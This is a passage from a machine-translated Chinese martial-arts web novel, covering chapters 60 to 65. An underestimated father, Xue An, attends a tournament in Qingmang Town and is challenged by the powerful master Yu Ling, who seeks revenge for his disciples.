    This time I came to Qingmang Town, naturally, I also came for the martial arts conference.


    Shi Hao has followed a famous teacher to learn internal boxing since he was a child, and his martial arts skills are extremely profound.


    Shizhuli is also not bad. The Wing Chun cultivation base is one of the best among women, and it is only one step into the real world.


    A group of people walked into the lobby, and Xue Lan happened to be here. When they saw the guests, they walked up.


    "What is your best suite? Give us two sets!" Shi Zhuli said coldly.


    Xue Lan shook his head apologetically, "Sorry, there is only a standard suite now, and only one set is left."


    Shi Hao saw Xue Lan, his eyes lit up.


    I didn''t expect that in this poor country, there would be such a beautiful and refined woman.


    Shi Zhuli was a little dissatisfied, and said proudly: "Money is not a problem, we must have the best suite! Go and prepare!"


    What more Xue Lan has to say, Song Yi walked over, "Two, now the rooms are full, it��s not a question of money, you see..."


    Shi Zhuli sneered, "I don''t care what method you use, go and prepare it for me now, otherwise...I will smash your shop!"


    The Shi family is also considered a celebrity in the provincial capital. Shi Zhuli has been spoiled and habitual since she was a child, and she acts very aggressively.


    Song Yi��s smile became colder, "Several people, I''m afraid this... not good!"


    Shi Hao sneered at this time: "Did you not hear what my sister said? Let the others leave when it is full, anyway, we are settled."


    At this time, the security guards of Yuelai Hotel saw the situation and gathered around.


    Shi Hao looked proud and didn''t care.


    He came to Qingmang Town this time, but he was very ambitious, and he was ready to make it to the top of the ranks.


    And he is confident that he has this strength.


    In the provincial capital, he has played many underground arenas, invincible, and has the title of Jingnan Cub.


    So he dismissed these security guards.


    Just when the atmosphere fell into tension, another motorcade came outside the door, all black Audis, stopped at the hotel entrance, and a group of people came down from above.


    After entering the hall, Xue Lan''s eyes lit up and hurriedly greeted him, "Brother Xiao An."


    The people who came are Xue An, Tan Xiaoyu and Hua Tingting.


    Qin Yu originally wanted to come, but there were things that couldn''t go away temporarily, so she had to give up.


    After seeing Xue Lan, Xue An smiled slightly, and the two little girls shouted in unison: "Aunt Lan!"


    Song Yi also came over, bending over respectfully, "I have seen Mr. Xue!"


    This can be regarded as leaving Shi Hao and his party to one side. Shi Hao stared at Xue An with a gloomy expression.


    Who is this guy?


    Why is such a big battle?


    And the women who accompany him are pretty beautiful!


    Shi Hao was a little dazzled, and couldn''t help feeling even more dissatisfied.


    Look at that thin figure, he can knock it into the air with a single punch, it is estimated that he is not even a warrior.


    Why do so many beauties stay with this kid?


    But Tan Xiaoyu noticed Shi Zhuli, and couldn''t help being surprised: "Are you...Zhuli?"


    Shi Zhuli was taken aback first, then she also recognized Tan Xiaoyu.


    Tan Xiaoyu used to stay in the martial arts school in the provincial capital for a period of time, and lived in a dormitory with this Shizhuli, so I knew it naturally.


    But the relationship between the two is not very good, but it is a bit unexpected to be able to meet here.


    Shizhuli nodded proudly, "It turned out to be Xiaoyu, this is..."


    "Oh, this is my father, and sister Tingting, we come naturally to watch the fun!" Tan Xiaoyu deliberately did not introduce Xue An.


    Because she feels that many people are now investigating who killed Yu Qing, so it is better for Xue An��s identity to be less known.


    "It turned out to be Director Tan of Zhenbei Martial Arts Hall!" Shi Hao knew the name of Zhenbei Martial Arts Hall, but it was just an understatement.


    "Are the rooms arranged?" Xue An asked Song Yi at this time.


    Song Yi nodded, "Mr. Xue, after I know you are coming, everything is arranged. UU Reading specially left you a presidential suite for you to live with your two daughters."


    Xue An nodded, this Song Yi did nothing but dripping water.


    Just about to go upstairs, Shi Zhuli said angrily: "Didn''t you say that there is no presidential suite? Why can he live?"


    This question made Song Yi''s expression difficult to look.


    I think he was also a man in China back then. How many big figures in power have treated him respectfully, but now he is scolded by a yellow girl, which makes him a little unable to get off the stage.


    "Because he is the boss here, is there a problem?" Song Yi said coldly.


    What does Shi Zhuli want to say, Tan Xiaoyu said in order not to aggravate the matter: "Forget it, forget it, just arrange another set for you!"


    Shi Hao coldly glanced at Xue An who was going upstairs.


    From beginning to end, Xue An didn''t even look at them.


    Because in Xue An''s view, these two people are not even qualified to be noticed by themselves.


    But to Shi Hao, it seemed that Xue An was scared.


    It is estimated that it is just a small turtle with a few money in his hand.


    It is that the women around him look good, such as the Hua Tingting, full of intellectual beauty, which suits Shi Hao''s appetite.


    Thinking about it, Shi Hao made up his mind.


    After returning to the room, Shi Hao asked his sister, "How is this Tan Xiaoyu''s relationship with you?"


    Shi Zhuli shook her head, "Just so!"


    "Invite her out for dinner that night!"


    Shi Zhuli was a little puzzled, "Brother, would you not like this Tan Xiaoyu, right?"


    A proud smile appeared on the corner of Shi Hao''s mouth, "It''s just for fun, her father is just the curator of Zhenbei Martial Arts Center, and I am not qualified enough!"

 Chapter 61： Martial arts tournament two

    When Tan Xiaoyu received the invitation, he couldn''t help but hesitate.


    She doesn''t have a close relationship with Shi Zhuli, but since the other party invited it, it would be a little bad if she didn''t go.


    And Shizhuli said, it''s best for everyone to go.


    Tan Xiaoyu told Xue Anyi that Xue An doesn''t matter, anyway, there are still three days left. If he stays in the hotel for these three days, he will be fine, but the two little girls may not be able to stand it.


    "Then go!" Xue An said lightly.


    Since Xue An said, of course Hua Tingting has no objection!


    At night, Qingmang Town is even more lively.


    warriors are all informal, especially after eating and drinking, they are prone to various disputes.


    So when Xue An and others are walking on the street, they can see the fight within a few steps.


    But these people are usually ordinary people who know how to fist, and there are no people watching after the fight.


    But Xue Xiang and Xue Nian are very curious and have been watching around.


    After all, there are people walking on the street in any dress.


    There are those wearing Chinese tunic suits carrying nunchakus, some wearing RB kimonos wearing hats and holding RB knives in their hands, and there are even a few shirtless men who drunk and wrestled unscrupulously on the street.


    These scenes made the two little girls think they were in the circus.


    Xue An has been following the two little girls with a smile, watching them with them.


    This makes Shi Zhuli even more disdainful, after all, Xue An''s performance is like a soil bun who has never seen the world.


    Shi Hao had booked a box in Qingmang Town��s largest hotel, Qingzhuju. After waiting, the group came to the third floor of Qingzhuju. The window of the box facing the street was open, and the Qingmang Mountain could be seen in the distance.


    The mountain breeze hit, shocked everyone, and felt that the vision was broad and refreshing.


    But this box is naturally expensive.


    After serving, Shi Hao frequently showed great hospitality to Tan Xiaoyu and Hua Tingting, but Xue An was ignored.


    This makes Tan Xiaoyu quite embarrassed and looks at Xue An from time to time.


    But Xue An didn''t care about this, and had been focusing on picking up food for the two little girls.


    Hua Tingting is more comfortable with it. She has been in society for a few years at any rate, and she can naturally see that Shi Hao is not kind.


    But she had a good education since she was a child, so she didn''t show it, just responded indifferently.


    But Shi Hao became more and more attracted by Hua Tingting''s speech and behavior.


    Speaking of rise, he mentioned the purpose of coming to Qingmang Town this time.


    Shi Hao, with a three-point drunkenness, said with a proud face: "I am here this time, I am here for the Tianjiao ranking!"


    Tianjiao list!


    Tan Xiaoyu''s expression couldn''t help but move.


    Shi Hao continued: "The martial arts conference held every four years is a good opportunity for the younger generation to become famous. I am ready to make it to the top 50 of the Tianjiao list at least!"


    This is a bit big.


    But Hua Tingting nodded, "Then I wish you victory!"


    Shi Hao drank the glass of wine triumphantly, and then deliberately looked at Xue An, "What is this friend doing in the martial arts conference?"


    It was quiet during the dinner, and many people looked at Xue An.


    Shi Zhuli had some disdain in her eyes. She had just observed it carefully. This man must have never learned martial arts, because his hands were slender and white, like a woman.


    Which warrior''s hands are not rough and generous?


    For example, my brother''s hand has been deformed because of the martial arts that has been practiced for many years.


    This is the price that must be paid for martial arts.


    Xue An put down his chopsticks at this time and smiled faintly, "I? I didn''t want to do anything, it was just playing with the kids."


    When ���� said these words, a trace of disdain flashed across Shi Hao''s face, and then he didn''t bother to see Xue An.


    "Miss Hua, I''m going to compete in the trials tomorrow. I hope everyone can come and take a look at that time. For example, this friend, you can also bring your children to open your eyes!" Shi Haozhi said triumphantly.


    Xue An nodded and smiled a little unclearly, "Okay, I will go there then."


    Shi Hao had a very enjoyable meal, especially thinking that he had made good progress with Hua Tingting, and finally left with drunkenness.


    After returning to Yuelai Hotel, Xue An led his two daughters back to bed.


    Hua Tingting returned to the house, and Tan Xiaoyu lived in the same house with her.


    "Sister Tingting, that Shi Hao is probably interesting to you today!" Tan Xiaoyu smiled.


    Hua Tingting frowned, and said disdainfully: "It''s just a fool! I''m just being polite, but I didn''t expect it to be an inch!"


    "Then tomorrow''s game, shall we go and see it?"


    Hua Tingting pondered for a moment, "Mr. Xue is going?"


    Tan Xiaoyu thought for a while, "It depends on the meaning of the two little girls, haven''t you seen it? Mr. Xue is a daughter slave!"


    Daughter slave is used to describe the kind of father who can spoil his daughter to the sky, and it is also appropriate for Xue An.


    Hua Tingting couldn''t help but smile a little.


    The scene of the first time she saw Xue An at Qin''s house that day appeared before her eyes.


    The man who stood with his hands in his hand and looked indifferent, appeared in Hua Tingting''s dream more than once.


    So when I came to Qingmang this time, she followed without hesitation.


    But she is also worried about Xue An I heard that the person who came from this revenge was an expert who was born out of this world.


    Mr. Xue said just bringing the children to play, can things be that simple?


    Hua Tingting was lost in thought.


    Not only her, but also Xue Lan and Song Yi are a little worried.


    For example, now, Song Yi is in Xue An��s room and said solemnly: ��Mr. Xue, this old man Zhitian is not an ordinary person. Although he has been hidden for 30 years and has no reputation, I guess that he is now The strength, at least, can be ranked in the top five of Tianjiao."


    Xue An nodded nonchalantly, and suddenly said indifferently, "I think Xue Lan''s behavior seems to be practicing martial arts?"


    Song Yi was taken aback, and then hurriedly lowered his head and said, "Mr. Xue, I am really embarrassed. I didn''t want to teach Miss Lan, but she was very persistent and she had to learn everything. In desperation, I had to teach her some basics. thing."


    The cold sweat on Song Yi''s forehead came out.


    He respects Xue An as a **** now, for fear that he will hate Xue An again because of this incident.


    Xue An just nodded, "Okay, I don''t blame you, since she wants to learn, you can teach her something."


    "Yes!" Song Yi nodded quickly.


    "It seems that you are about to break through the real world, and are about to enter the freedom?"


    "Yes!" Song Yi was startled. He hasn''t been abandoned these days. He has been practicing hard. Starting two days ago, he vaguely felt a bottleneck.


    This shows that one of his feet has touched the threshold of Xiaoyao, but he has been unable to enter.


    I didn''t expect Xue An to see it at a glance.


    "If that''s the case, then I will help you!" Xue An suddenly raised his head, his eyes bright.

 Chapter 62： Martial arts tournament three

    Song Yi felt a shock all over, and his eyes gradually became confused.


    Snapped!


    It seems that something is broken.


    Song Yi''s momentum quickly began to skyrocket, and his old face began to regain youth.


    soon.


    He changed from a fifty-sixty-year-old man to a thirty-something.


    After Song Yi''s eyes were restored to clear light, he threw a plop on his knees and said respectfully: "Thank you Xue for the first time! In the future, Song will go through fire and water for Mr. Xue, nothing else!"


    The reason why Song Yi is so excited is because Xue An''s current methods have exceeded his imagination.


    can help others improve their realm easily?


    What kind of cultivation is this?


    If this news goes out, it will simply cause an uproar.


    You need to know that the number of people stuck on the threshold of Perishable Land is countless, and many people may not be able to make it in their lifetime.


    Xue An waved his hand, "Okay, it''s just a matter of effort. If you are a good person, then I will help you, and I don''t have time to take care of Laner, so you can teach her more!"


    "Yes!" Song Yi bowed his head respectfully.


    The next day.


    The trials for the Budo Tournament have begun.


    The so-called trials are young talents who have not entered the Tianjiao list. They need to pass the selection before they are eligible to challenge the people on the Tianjiao list.


    The ���� ring has been set up long ago, at the foot of Qingmang Mountain.


    Shi Hao brought his younger sister and a few of them to the ring, Shi Hao''s expression was calm, and his heart was full of confidence.


    Shi Zhuli was also full of confidence in her brother. While preparing in the audience, Xue An brought her children, Hua Tingting, Tan Xiaoyu, Tan Dong and others.


    When Shi Hao saw Hua Tingting coming, his spirit was lifted, and he laughed loudly, "Miss Hua, Director Tan!"


    Hua Tingting looked still, but just nodded slightly.


    Tan Dong said to his daughter: "This Shi Hao has a calm aura. It seems that he has already stepped into a real world. It is very rare to be so young."


    Tan Xiaoyu did not speak, but looked at Xue An.


    She wanted to see Xue An��s attitude.


    But Xue An has been muttering something with his two daughters.


    If someone hears the conversation between the father and daughter at this moment, they will definitely laugh.


    "Baba, what are these people doing? It''s strange!" Xue Xiang said, pointing to the warriors who were warming up.


    Xue An smiled, "They... are warming up!"


    "Warm up? Can you eat it?" Xue Nian said immediately.


    Xue An squeezed Xue Nian''s small face, and smiled dozingly: "You...you know how to eat."


    "Then why warm up?"


    "Because they will fight for a while? They have to warm up before the fight, otherwise they will lose easily after the fight!" Xue An is so patient only when facing his two daughters.


    "Oh!" The two little girls replied seemingly understanding, and then asked again: "Baba, why are you fighting?"


    "Because...they are idle in panic?" Xue An said lightly.


    The trials begin.


    Because of the large number of people, they are all ten to ten pairs at the same time. Those who win continue, those who lose are eliminated.


    Among these warriors, there are those with high abilities, but there are also a lot of them.


    This comparison naturally drew a lot of laughter.


    But the farther you go, the more real and cruel the competition becomes.


    at last.


    It was Shi Hao''s turn to play.


    The one who faced Shi Hao was a powerful warrior with a burly figure, but Shi Hao''s face was indifferent, and he even pretended to hook his opponent.


    The warrior was irritated, and tried his best to come up.


    Can be helpless, he and Shi Hao''s strength gap is very big, there are few moves, Shi Hao kicked over.


    The carnation below cheered for a while.


    Shi Hao looked at Hua Tingting quite proudly, but found that Hua Tingting''s attention was not on the stage at all, but was talking to Xue An.


    This made Shi Hao''s expression gloomy, and he couldn''t help kicking it out again.


    With a click, this warrior was kicked by Shi Hao and several ribs were broken.


    This made many people glared at Shi Hao.


    But Shi Hao didn''t care, and in the following competitions, his shot became more and more fierce, and soon he went out of the trials.


    won the qualification to challenge the top players on the Tianjiao list tomorrow!


    After winning, Shi Hao triumphantly looked into the distance, thinking that you are not shocked this time?


    But when I glanced at it, I didn''t see Hua Tingting and others at all.


    can only see the backs of Xue An, Hua Tingting and others!


    go... gone?


    Shi Hao''s expression became extremely gloomy.


    In the provincial capital, wherever he goes, he is the focus of the crowd, and he exists like a goddess.


    After I came here, no matter how I behaved, I couldn''t seem to replace the man with the child.


    Wait for tomorrow!


    Tomorrow I will be on the top of the list!


    Then I will clean up you!


    I will make you kneel before me in front of these women! Shi Hao thought bitterly.


    At this moment, on the roof of a building in the distance, two people, a man and a woman, are standing on it and looking at the ring in the distance.


    "The new players in this session are so strong!" The man said with a smile.


    The woman''s pretty face was full of indifference, and after a while she said coldly: "But it''s not my opponent!"


    The man sighed, "I really don''t understand. A woman like you should be dressed beautifully every day. Why is UU reading all day long?"


    The woman glanced at him, "No more nonsense, believe it or not, now I will let Tianjiao one less person on the list?"


    The man closed his mouth.


    That''s right.


    Both of them are masters on the Tianjiao list.


    One is Leng Yun, the blood scorpion ranked 37th.


    The other is Yixiaojian Kongsan, ranked 38th.


    Leng Yun looked at Shi Hao on the ring in the distance.


    This person uses Neijiaquan. It''s a bit hotter, and he''s a strong opponent.


    But not to be afraid.


    But Leng Yun always finds it weird, because her instinct feels deeply disturbed.


    seems to have a pair of eyes, looking high above them all.


    This kind of intuition made Leng Yun uncomfortable.


    In order to temper herself over the years, she has been a killer in the Middle East and other regions.


    And this instinct honed in blood and fire has saved her many times, so it can''t be wrong.


    Then who would it be?


    Especially this light but elevated breath made Leng Yun feel fear from the depths of his soul.


    Even when facing the top three masters of Tianjiao, she has never been so afraid.


    Kongsan said at this time: "This man, give it to me tomorrow!"


    Leng Yun glanced at him, then took a step forward and jumped directly from the top of the four-story building.


    Kongsan was a little embarrassed, and immediately jumped down, "Hey! Are you so distrustful of me? Anyway, I am also ranked 38th!"


    "Then you are behind me!"


    "It''s just one bit short!"


    "That''s behind me too!"


    "Can you say something else?"


    "...You are ranked thirty-eight!"

 Chapter 63： Martial arts tournament four

    The Budo Tournament is finally about to officially begin.


    After three days of selection, a total of thirty people came to the fore. They will be eligible to challenge the top players on the Tianjiao list.


    By this day, the ring at the foot of the mountain was already full of people.


    And this time the ring has been remodeled to become stronger and firmer.


    After all, coming to power again this time is not only about winning, but also about life and death.


    "Isn''t that the Muay Thai King Chen Tong who is ranked 19th on the Tianjiao list? He is here too?"


    "God, Huangfutian, the eighth-ranked sky-sweeping stick on the Tianjiao list, is here too? A master of his level, he never showed up in previous years!"


    "There is also Yuehua Fairy Xiang Bing, with a smile and a sword hole scattered, and the Blood Scorpion Lengyun, these are all highly ranked masters, what happened to this year''s martial arts conference?"


    With the exclamation from the audience, this year''s martial arts conference gradually kicked off.


    When Xue An came to the stands, almost everyone was there.


    Many potbellied men sit on the chairs in the stands, often accompanied by a beautiful female secretary.


    These are rich people from all over.


    After all, the masters who can be ranked on the Tianjiao list have a deep background and power behind them. Therefore, this martial arts conference is not only a gathering of martial artists, but also related to the interests of Tianliang.


    And Xue An��s arrival also attracted the attention of many people.


    However, after most people observed that Xue An was dressed in an ordinary manner and did not look like a martial artist, no one was interested in him.


    Xue An looked around the audience and happened to see Shi Hao sitting in the back, but at the moment he was paying full attention to an elegant woman in a green dress next to him.


    "Xiang Xianzi, I visited you once with my master, but I did not expect to see you again at the martial arts conference today!"


    This woman is Xiang Bing, who is known as the Fairy Yuehua and ranked 18th on the Tianjiao list.


    Xiang Bing looked indifferent and didn''t care much about Shi Hao.


    In previous years of martial arts conventions, she would never come.


    Only this time, the old man Zhitian came back out of the mountain, so she was interested, so she came to see the excitement.


    Xue An''s arrival, she also saw it, but just glanced briefly, and found that it was not a martial arts master, so she stopped paying attention, and instead turned her gaze to Xue Lan who was next to Xue An.


    "Hey! This girl has a pure temperament, but she is a good martial artist!" Xiang Bing''s eyes lit up.


    Shi Hao noticed the expression in Xiang Bing''s eyes, turned his head and saw that it was Xue An, and his expression became gloomy.


    But seeing Hua Tingting coming, Shi Hao returned to his smile, stood up and said, "Miss Hua, this way!"


    Hua Tingting didn''t want to talk to Shi Hao, but Xue An walked over.


    Hua Tingting and Tan Xiaoyu glanced at each other, and had to follow behind and walked over.


    "Miss Hua, sit down!" Shi Hao greeted very warmly, and then introduced.


    "This is Fairy Yuehua Xiang Bing!"


    Hearing this name, Tan Dong and others couldn''t help but change their colors.


    The 18th best player on the Tianjiao list is actually an elegant woman?


    Seeing the shocked expressions of everyone, Shi Hao was quite proud, and then smiled at Xiang Bing: "Xiang Xianzi, this is Miss Hua Ting Tinghua. Her grandfather is the famous Hua genius doctor in Beijiang, and this is Zhenbei. Director Tan of the Wuguan..."


    waved his hand to Bing, preventing Shi Hao from continuing to speak, then looked at Xue Lan and said faintly: "Little girl, are you interested in doing martial arts with me?"


    The words ���� shocked everyone around.


    Fairy Yuehua is about to accept disciples?


    Shizhuli''s jealous eyes turned blue.


    Why?


    Why is she?


    A mountain girl, how can I compare to me?


    Tan Dong and Tan Xiaoyu were also shocked.


    Especially Tan Dong, he knew how powerful this fairy Yuehua was, and he couldn''t help but be a little surprised.


    But in the eyes of everyone, Xue Lan, who was a little shy, shook his head resolutely.


    "not interested!"


    This sentence made Xiang Bing a little unexpected, and he couldn''t help but said indifferently: "Little girl, do you know who I am?"


    Xue Lan continued to shake his head, "I don''t know, I don''t want to know, even if I want to practice martial arts, I will only follow Xiao An!"


    Brother Xiao An?


    Everyone was taken aback, then looked at Xue An.


    Could it be that he was talking about?


    But this man is nothing strange, he looks like an ordinary person!


    Xiang Bing''s expression was a little uncontrollable, and he couldn''t help snorting coldly.


    "Little girl, you have to think clearly."


    "I figured it out clearly!" Xue Lan said firmly.


    Shi Hao and Shi Zhuli secretly glanced at each other, and then filled with joy.


    This is all right, let Fairy Yuehua hate it, Xue An and this little girl are finished!


    Xiang Bing took a deep look at Xue An and found that apart from being very calm, there was really nothing surprising about this man, so he looked at the ring with a cold face.


    Xue An smiled lightly, ignoring the so-called Fairy Yuehua.


    It is ridiculous that a woman who has just stepped into the Happy Realm, claims to be a fairy.


    But Tan Dong was a little worried. After sitting down, he quietly said in Xue An''s ear: "This Fairy Yuehua is famous for being stingy, and what happened just now is obviously hateful. Mr. Xue should pay more attention."


    Xue An nodded.


    At this moment, the martial arts conference finally officially started Shi Hao sorted out his clothes and entered the stage confidently.


    His grades are considered mid-rate, so he ranks ahead.


    And what he wants to challenge is a Nanquan master who is ranked 88th on the Tianjiao list.


    After the match between the two men began, Xue An only glanced at it twice and ignored it.


    Because he could tell at a glance that although this Nanquan master had a good skill, he was obviously not Shi Hao''s opponent.


    As expected.


    Within a few minutes, the Nanquan master was kicked off the ring by Shi Hao, then struggled a few times on the ground before he died.


    There was a commotion off the court.


    Shi Hao stood on the stage proudly, and then a referee announced the result of the game.


    Shi Hao won, and he finally got his wish and entered the list of Tianjiao.


    Shizhuli was overjoyed, and then gave Xue An a fierce look, thinking in her heart, when the conference is over, I will clean up you!


    Shi Hao even stood on the stage, making a cut-throat gesture at Xue An from a distance.


    The imaginable panic did not appear, only the mockery in Xue An''s eyes.


    Shi Hao sneered in his heart, I see when you can pretend.


    The game continued, because it was a huge benefit and honor, so no one dared to release water, and it was a killer move at every turn.


    The cruel test made many people who watch the show turn pale.


    Finally, the challenge of the newly selected warrior is over.


    Two-thirds of them have failed, and the price of failure is death!


    The blood stained the ring red.


    But everyone knows that the next thing is the main event, because the upcoming game will be a duel of the top 50 Tianjiao players.


    The first person on stage made the audience exclaim lowly.

 Chapter 64： Come in the air

    "Chen Tong, it''s Muay Thai King Chen Tong!"


    "I heard that this Chen Tong practiced the most cruel form of ancient Muay Thai, and obtained the secret inheritance. The person against him will die or become disabled!"


    "There is a lot of fun here, who is he going to play against?"


    Chen Tong is a short man, wearing a vest shirtless, showing iron-like muscles.


    He stood on the stage, and smiled at Xiang Bing in the stands, "Fairy Yuehua, I lost to you eight years ago, now... let''s talk about it again!"


    The gazes from the stands turned to Xiang Bing.


    snorted to Bing Leng, suddenly got up, and then with a little toe, the whole person flew off the stand like a butterfly.


    Just this hand made many people cheer.


    Then Xiang Bing stepped onto the ring and looked at Chen Tongdao: "Chen Tong, are you still not giving up?"


    Chen Tong looked at Xiang Bing''s slender waist, licked his lips, and smiled grinningly: "If you are willing to follow me, then I won''t care anymore!"


    "Wishful thinking!" Xiang Bing shouted angrily, and then kicked it out.


    Chen Tong dodges this kick, and then grinned and said, "Little lady, do you really think I was inferior to humans eight years ago? It''s just that I was pitying and pitying Yu at that time, so now I will let you see how Muay Thai is powerful."


    Said that Chen Tong was like an octopus, knee and elbow hit all the way.


    Xiang Bing was able to fight back at the beginning, but after a while, he was forced into the corner and could only parry.


    Seeing that he was about to lose, a panic flashed on Bing''s face.


    At this moment, one person suddenly rushed into the battle group, and then blocked Chen Tong''s fist with one hand, and the other hand blocked Xiang Bing''s attack.


    "Stop it all!" the person said solemnly.


    At the same time, there was an uproar in the audience.


    "It''s Huangfutian! He also shot!"


    Chen Tong saw that Huangfutian was Huangfutian, with a hint of surprise on his face, and then said, "Huangfutian, what do you mean?"


    Huangfutian smiled slightly, "It doesn''t mean anything, I just want to be nosy!"


    said and rushed to Bing with a smile.


    Chen Tong''s heart sank, knowing that Huangfutian was favoring Xiangbing, but he also understood.


    My own strength is far from that of Huangfutian.


    If you do it, you have no chance of winning.


    So Chen Tong could only grit his teeth secretly, and then stepped aside.


    Xiang Bing bowed to Yingying at this moment, and said gratefully: "Thank you, Lord Huangfu!"


    Huang Futian''s eyes never left Xiang Bing''s body, and he couldn''t help but smile when he heard the thanks.


    "Fairy Yuehua is indeed well-deserved! In my opinion, Chen Quanwang and you are the uncle, so there is no need to compare this martial arts! Does anyone have an opinion?"


    Huangfutian glanced at the stage calmly.


    No one dared to say anything.


    Tianjiao ranked eighth!


    This ranking has proved his strength.


    But just when Huangfutian turned around with a smug look, just when he was about to speak.


    A faint rumbling sound came from the top of the Qingmang Mountain in the distance.


    Everyone turned their heads and looked.


    Then I saw a shocking scene.


    I saw someone stepping into the sky from the towering Qingmang Mountain.


    This person chanted as he walked: "Bai Yujing in the sky, the fifth city on the twelfth floor. The fairy touches my head, and the hair will endure longevity!"


    The voice irritated the four fields, and the scalp was numb after hearing it.


    And this person seemed to be walking slowly, but he reached the foot of the mountain in the blink of an eye.


    These shocking appearances shocked everyone.


    Huangfutian was even more horrified.


    Only those who have reached his realm can understand how terrifying this old man with a childlike appearance is.


    Come in the air!


    This is a magical power that only those who enter the realm of heaven and human have.


    Could he be...


    There are also experienced seniors in the audience, and they screamed out when they saw someone coming.


    "He refers to the old man Yu Ling!"


    "It''s Yu Ling!"


    Everyone couldn''t help but gasp.


    The rumors are indeed true. This old man Zhitian has indeed entered the realm of heaven and humanity. Since then, he has five hundred years of life and is at ease!


    Yu Ling fell on the ring, and looked at Huangfutian and others indifferently.


    "You... are you the masters on the proud list today?"


    Huangfu Tian and Xiang Bing haven��t said anything yet, Chen Tong already sneered and said, ��Where��s the bad old man...��


    I didn''t finish the following words, and there was no chance to finish it.


    Because Yu Ling just flicked his fingers, Chen Tong''s head exploded and the dead body fell to the ground.


    This shocking skill shocked everyone on stage and off the stage.


    The 19th-ranked Muay Thai master didn��t even block a move?


    Huangfu Tian and Xiang Bing were also shocked, and Yu Ling had already looked at the two of them, and then shook his head.


    "too weak!"


    Then gently stretched out his finger, and the entire ring was like a gust of wind.


    Huangfu roared from the sky and wanted to fight back, but he was hit directly off the ring and fell to the ground unable to move for a while.


    As for Xiang Bing, he was not taken down, but his face became extremely ugly, and his eyes were full of horror.


    "Go on, I don''t beat women!" Yu Ling said lightly.


    So far, this old man Zhitian came out, but with two fingers, he killed one and lost one.


    There is no difference at the moment!


    bowed his head to Bing and stepped down, and he didn''t even have the courage to look back at Yu Ling.


    Because she was really frightened Chen Tong''s ability is better than her, but Chen Tong didn''t move any place, so this terrifying opponent blew his head with a finger.


    It''s the same to die by himself.


    Yu Ling stood in the middle of the ring, looked around the audience, and smiled slightly.


    "The old man is Yu Ling, and my disciples Yu Qing and Liu Shou were killed by others. I am here this time to slash the enemy in front of the world!"


    The whole audience was silent.


    Yu Ling was very satisfied with this response, and said lightly: "So, who is Mr. Xue?"


    Mr. Xue!


    Many people reacted.


    Someone once said on the Budo Forum that the one who killed Yu Qing and Liu Shou was a person called Mr. Xue!


    Is he... coming?


    Everyone looked at each other.


    Shi Hao and Shi Zhuli, the two brothers and sisters, looked a little pale when they looked at Yu Ling, who was showing great power on the stage.


    Fairy Yuehua, who was respected as a **** by Shi Hao, was ousted from the stage without the qualifications to engage with others.


    The towering sunshaking stick, Huangfutian, was blasted off the stage even more.


    The existence of ���� made Shi Hao with his eyes above the top tremble.


    This old man is terribly strong.


    And who is Mr. Xue that he said?


    Shi Hao was wondering, and suddenly he felt that someone stood up beside him.


    He turned his head and saw that it was Xue An, frowning.


    This guy is really reckless!


    Didn''t you see that no one in the audience dared to speak?


    He dare to stand up?


    But then, a milky voice made him and everyone around him stunned.


    "Baba, the old man said Mr. Xue...is that you?"

 Chapter 65： 1 punch... divide yin and yang!

    Everyone looked at the person who was speaking, and then they realized that it was a little girl who looked like a pink jade.


    And there is a little girl who looks almost exactly the same beside her.


    is actually a pair of twins.


    Many people can''t help but think that cuteness is cute, but this is...too cheating.


    Shi Hao and Shi Zhuli, the two brothers and sisters, even sneered in their hearts, wanting to see how you respond.


    But then Xue An''s behavior was beyond everyone''s expectations.


    Xue An smiled and touched the heads of Xue Xiang and Xue Nian, and said faintly: "Yes! So Dad is going to the stage."


    "Yeah, come on, Baba!" Xue Xiang and Xue Nian said seriously.


    Shi Hao almost didn''t laugh out loud.


    Is he Mr. Xue?


    Can he be Mr. Xue?


    Many people look at Xue An with doubts or disdain.


    Xue An was about to step down from the stands, but Xue Lan held Xue An in panic.


    "Brother Xiao An..."


    Xue An looked at Xue Lan and smiled slightly, "Hey, wait for me to come back!"


    Xiang Bing couldn''t help being funny at this time.


    still waiting for me to come back?


    Do you think you can come back?


    What a joke!


    Xiang Bing believes that Xue An will undoubtedly die.


    This is also the opinion of most people.


    So when Xue An stepped onto the stands, some people were looking at him with sympathy.


    But everything from the outside world couldn''t interfere with Xue An. He slowly got off the stands and stepped onto the ring step by step.


    And Yu Ling has been looking at Xue An with curious eyes.


    After he took the stage, Yu Ling said lightly, "Are you Mr. Xue?"


    Xue An shook his head, then showed his white teeth and smiled sensibly, "To be precise, my name is Xue An!"


    "It doesn''t matter whether Xue An or Mr. Xue, two of my disciples are dead in your hands?" Yu Ling asked.


    Xue An nodded, "Yes, I killed it!"


    There was an uproar below.


    Many people don''t believe it at all, because Xue An looks ordinary, not like a master at all, or even a warrior.


    "Is this kid going crazy?"


    "Maybe I want to show up and want to be crazy!"


    There was a lot of discussion underneath, but Yu Ling''s expression gradually became gloomy.


    "Before I came, I thought this Mr. Xue must be a great master. I didn''t expect that he was just an ordinary person. So, both of my apprentices were killed by your conspiracy?" Yu Ling Yinxun Said compassionately.


    This is also the opinion of many people.


    After all, Yu Qing is also regarded as the top fifty master of the Tianjiao list, and he actually died in the hands of Xue An, who seemed to have no power to bind the chicken.


    If there is no conspiracy, no one believes it.


    But Xue An shook his head, "Did you say Yu Qing? He is too weak, he only took two punches from me!"


    "Zhuzi dare!" Yu Ling was furious.


    Xiang Bing even sneered off the stage, and sneered: "I''m looking for death!"


    Xue An sighed slightly, "Why? Don''t believe it? Then it''s better to try it for you, I also want to know, you master...How many punches can you take?"


    Yu Ling sneered, "Okay! Very good! You successfully angered me, and I will make your death very painful!"


    A terrible murderous aura suddenly radiated from Yu Ling''s body, and everyone in the audience was shocked.


    Tan Dong, Tan Xiaoyu, Hua Tingting and others are even more solemn.


    I knew that Yu Ling was so good, but I didn''t expect it to be so good.


    can be in this almost boiling murderous aura.


    Xue An stood with his hands on his back, raised his head slightly, looked at the gradually gloomy sky, smiled faintly, "Look! The wind is rising!"


    Yu Ling gave a cold snort, raised his right hand slowly, and then gave a soft drink, "Pointing to the sky... a sword!"


    A white light that seemed to penetrate the heavens and the earth was ignited from Yu Ling''s right hand, and then went straight to Xue An with the momentum of the top of Mount Tai.


    ''S momentum is so strong that even this sturdy ring begins to falter.


    This sword like a fairy made all the warriors pale.


    Many people asked themselves if they were to fight this sword, they would have to wait and die without even having the ability to fight back.


    But under the sword of the stormy sea, Xue An didn''t dodge, even a smile slowly appeared at the corner of his mouth.


    Then just when the sword energy was about to hit the top of his head, Xue An suddenly raised his hand, stretched out two fingers, and clamped the powerful sword.


